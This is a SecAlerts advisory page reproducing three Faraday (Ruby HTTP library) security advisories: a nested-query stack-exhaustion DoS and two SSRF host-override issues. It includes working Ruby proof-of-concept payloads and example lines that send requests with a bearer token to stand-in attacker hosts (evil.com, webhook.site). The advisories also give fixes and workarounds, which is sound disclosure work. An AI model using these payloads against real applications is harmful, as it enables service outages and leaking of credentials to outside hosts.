Where
-Infinity
0

Vendor Risk Score

See how faraday project compares to other vendors in security performance

View Risk Score →
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Uncontrolled Recursion in NestedParamsEncoder Allows Stack Exhaustion DoS via Deeply Nested Query Parameters

Summary

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

text a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker.

This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

Affected Product

- Product: Faraday - Repository: https://github.com/lostisland/faraday - Tested version: v2.14.2-2-g59334e0 - Tested commit: 59334e0e9b19 - Ruby version: ruby 3.2.3 - Tested component: Faraday::NestedParamsEncoder / Faraday::Utils.parsenestedquery - Date tested: 2026-05-24

Vulnerability Type

- Denial of Service - Uncontrolled Recursion - Stack Exhaustion

Preconditions

An application must pass attacker-controlled or attacker-influenced query strings to one of Faraday's nested parameter parsing/building paths.

Confirmed reachable paths include:

1. Direct use of the public utility:

ruby Faraday::Utils.parsenestedquery(untrustedquerystring)

2. Normal Faraday request URL building:

ruby conn = Faraday.new('https://api.example.com') conn.buildurl("/search?#{untrustedquerystring}")

In the second case, the crash occurs during URL construction before any network request is sent.

Impact

A relatively small query string can trigger a SystemStackError and crash the calling Ruby thread or worker.

In my local test environment, a payload of approximately 9.4 KB was sufficient:

text depth=3119 bytes=9360 result=SystemStackError message="stack level too deep"

Repeated requests with such payloads may cause a denial of service against applications whose request path forwards, parses, or rebuilds attacker-controlled query strings through Faraday.

This issue does not provide remote code execution, authentication bypass, or data disclosure. The confirmed impact is availability loss.

Technical Details

Faraday supports nested query parameters such as:

text user[name]=alice&user[roles][]=admin

which are decoded into nested Ruby structures.

However, Faraday also accepts arbitrarily deep nesting such as:

text a[x][x][x][x][x][x]...[x]=1

This creates a deeply nested structure similar to:

ruby { "a" => { "x" => { "x" => { "x" => { "x" => ... } } } } }

The recursive dehash routine then walks the structure without a maximum depth check.

Affected file:

text lib/faraday/encoders/nestedparamsencoder.rb

Relevant logic:

ruby def dehash(hash, depth) hash.each do |key, value| hash[key] = dehash(value, depth + 1) if value.isa?(Hash) end # ... end

Although the function accepts a depth argument, the value is not used to enforce a maximum depth. Therefore, recursion depth is fully controlled by the input query string.

Proof of Concept

PoC 1: Direct parser crash

ruby require 'faraday'

payload = "a#{'[x]' 3119}=1" Faraday::Utils.parsenestedquery(payload)

Observed result:

text SystemStackError: stack level too deep

PoC 2: Normal URL-building crash

ruby require 'faraday'

conn = Faraday.new('https://api.example.com') payload = "/search?a#{'[x]' 3500}=1" conn.buildurl(payload)

Observed result:

text SystemStackError

No network request is required; the crash occurs during URL construction.

Local Reproduction Results

The issue was reproduced locally against Faraday commit 59334e0e9b19.

Environment:

text ruby 3.2.3 faraday v2.14.2-2-g59334e0 commit 59334e0e9b19

Full PoC result

text == (A) DEEP nesting -> dehash recursion / stack exhaustion == depth=100 parse=0.0003s OK depth=1000 parse=0.0034s OK depth=5000 SystemStackError (stack overflow DoS): SystemStackError depth=20000 SystemStackError (stack overflow DoS): SystemStackError depth=100000 SystemStackError (stack overflow DoS): SystemStackError

== (B) WIDE numeric keys -> dehash sort + numeric-key scan per level == N=1000 parse=0.0093s N=10000 parse=0.1053s N=50000 parse=0.4992s N=100000 parse=1.1242s

== (C) MANY array pushes a[]&a[]&... == N=1000 parse=0.0048s N=10000 parse=0.0614s N=50000 parse=0.2915s N=100000 parse=0.5403s

Minimal depth test

text depth=100 bytes=303 result=OK depth=1000 bytes=3003 result=OK depth=2500 bytes=7503 result=OK depth=3000 bytes=9003 result=OK depth=3119 bytes=9360 result=SystemStackError message="stack level too deep" depth=3500 bytes=10503 result=SystemStackError message="stack level too deep" depth=5000 bytes=15003 result=SystemStackError message="stack level too deep"

URL-building test

text buildurl depth=100 bytes=311 result=OK buildurl depth=1000 bytes=3011 result=OK buildurl depth=3500 bytes=10511 result=SystemStackError buildurl depth=8000 bytes=24011 result=SystemStackError

These results confirm that both direct parsing and normal Faraday URL construction can trigger the stack exhaustion condition.

Expected Behavior

Faraday should reject excessively deep nested query parameters with a controlled and rescuable exception.

For example, behavior similar to Rack's parameter depth limit would prevent stack exhaustion:

text Faraday::Error: Exceeded the maximum allowed nested parameter depth

Actual Behavior

Faraday recursively processes attacker-controlled nesting depth and eventually raises:

text SystemStackError: stack level too deep

This exception indicates stack exhaustion and can crash the calling worker/thread.

Suggested Fix

Add a configurable maximum nesting depth to Faraday::NestedParamsEncoder, similar to Rack's paramdepthlimit.

Suggested behavior:

- Set a default maximum depth, for example 100. - Reject keys whose subkey chain exceeds the maximum depth. - Raise a normal Faraday::Error or another controlled exception rather than allowing Ruby stack exhaustion.

Example patch concept:

ruby module Faraday module NestedParamsEncoder class << self attraccessor :sortparams, :arrayindices, :paramdepthlimit end

@paramdepthlimit = 100 end end

Then in decodepair:

ruby subkeys = key.scan(SUBKEYSREGEX) if paramdepthlimit && subkeys.length > paramdepthlimit raise Faraday::Error, "Exceeded the maximum allowed nested parameter depth of #{paramdepthlimit}" end

A local patch implementing this approach was tested. With the patch applied:

- The crash payloads raise a controlled Faraday::Error instead of SystemStackError. - Normal nested query parsing still works. - Existing encoder/utils tests passed in the local test set:

text 42 examples, 0 failures

Security Policy Fit

Faraday's SECURITY.md states that the 2.x branch is supported for security updates and that vulnerabilities should be reported privately.

This issue was reproduced on the current tested 2.x codebase:

text v2.14.2-2-g59334e0 commit 59334e0e9b19

The report is intended for private disclosure through GitHub Security Advisories and should not be opened as a public issue before maintainer triage.

Related Public Discussions / Duplicate Check

I searched the public issue tracker, pull requests, changelog, and GitHub Advisory Database for similar reports using terms including:

text NestedParamsEncoder parsenestedquery SystemStackError stack level too deep paramdepthlimit nested parameter depth Uncontrolled recursion CWE-674 dehash depth parsenestedquery depth

I did not find a public report or fix for this specific NestedParamsEncoder depth-limit / SystemStackError denial-of-service issue.

The closest unrelated public items I found were:

- lostisland/faraday#1107 — Infinite recursion (SystemStackError) on load when running with -rdebug with breakpoints - This appears unrelated to nested query parameter parsing and Faraday::NestedParamsEncoder. - GHSA-33mh-2634-fwr2 / CVE-2026-25765 - This concerns a protocol-relative URL / host override issue and does not address nested query parameter recursion or depth limiting.

Repo-local checks also found no existing paramdepthlimit or equivalent mitigation in lib/faraday/encoders/nestedparamsencoder.rb.

Severity

Suggested severity: Medium

Rationale:

- The attack can be triggered over the network in applications that pass attacker-controlled query strings into Faraday's parsing/building paths. - The payload is small enough to be practical, approximately 9.4 KB in the local reproduction. - No authentication or user interaction is required in affected application patterns. - The confirmed impact is availability only.

Because Faraday is a library, the exact severity depends on how an application exposes the affected parsing/building path to attacker-controlled input. If the maintainers prefer conservative scoring for library reachability, the availability impact could be adjusted accordingly.

Notes

This report does not claim remote code execution, authentication bypass, or information disclosure.

The confirmed issue is an uncontrolled-recursion denial of service condition caused by missing nesting-depth enforcement in Faraday's nested parameter decoder.

No third-party live services were tested. Reproduction was performed only in a local lab environment.

Reporter

Reported by: Emre Koca

Please let me know if you need additional reproduction details, logs, or a patch proposal.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

Summary

Faraday::Connection#buildexclusiveurl still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

- Repository File(s)/Endpoint(s): - lib/faraday/connection.rb - lib/faraday/request.rb - spec/faraday/connectionspec.rb - spec/faraday/requestspec.rb - Function(s): - Faraday::Connection#buildexclusiveurl - Faraday::Connection#runrequest - Faraday::Request#url - Faraday::Request#toenv - Version(s) Tested: - Faraday 2.14.1 - repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

- Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection - Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), conn.post(...), or req.url(...) - Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/. 2. Build a fixed-base connection and provide a protocol-relative URI object to req.url. 3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host. 4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

- Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-nethttp, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca - Commands executed:

bash $ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mountproc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start' $ ruby -Ilib -e 'require "faraday"; require "faraday/nethttp"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :nethttp }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body' - PoC code (inline):

ruby require "faraday" require "faraday/nethttp"

conn = Faraday.new(url: "http://trusted.example/base", headers: { "Authorization" => "Bearer secret-token" }) { |f| f.adapter :nethttp }

target = ["//127.0.0.1:4567", "/pwn"].join resp = conn.get(URI(target))

puts resp.status puts resp.body - Exit code: 0 - stdout (relevant excerpt):

text 200 host=127.0.0.1 auth=Bearer secret-token path=/pwn - stderr (relevant excerpt):

text N/A - Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default nethttp adapter:

ruby require "faraday" require "faraday/nethttp"

conn = Faraday.new( url: "http://trusted.example/base", headers: { "Authorization" => "Bearer secret-token" } ) { |f| f.adapter :nethttp }

target = ["//webhook.site", "/<collector-id>"].join resp = conn.get(URI(target)) resp.status => 200 resp.url.host => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

- Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2 - Existing CVE for the original string-based issue: CVE-2026-25765 - Existing regression tests for the string-only fix: - spec/faraday/connectionspec.rb:314-345 - Existing test proving supported URI request input: - spec/faraday/requestspec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

1 / 2
Source: GitHub
First published (updated )
Severity
5.8
EPSS
0.01%
SSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Impact

Faraday's buildexclusiveurl method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), buildurl(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example: ruby conn = Faraday.new(url: 'https://api.internal.com') conn.get('//evil.com/steal') # Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

- Reject or strip input that starts with // followed by a non-/ character - Use an allowlist of permitted path prefixes - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation: ruby def safepath(userinput) raise ArgumentError, "Invalid path" if userinput.match?(%r{\A//[^/]}) userinput end

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203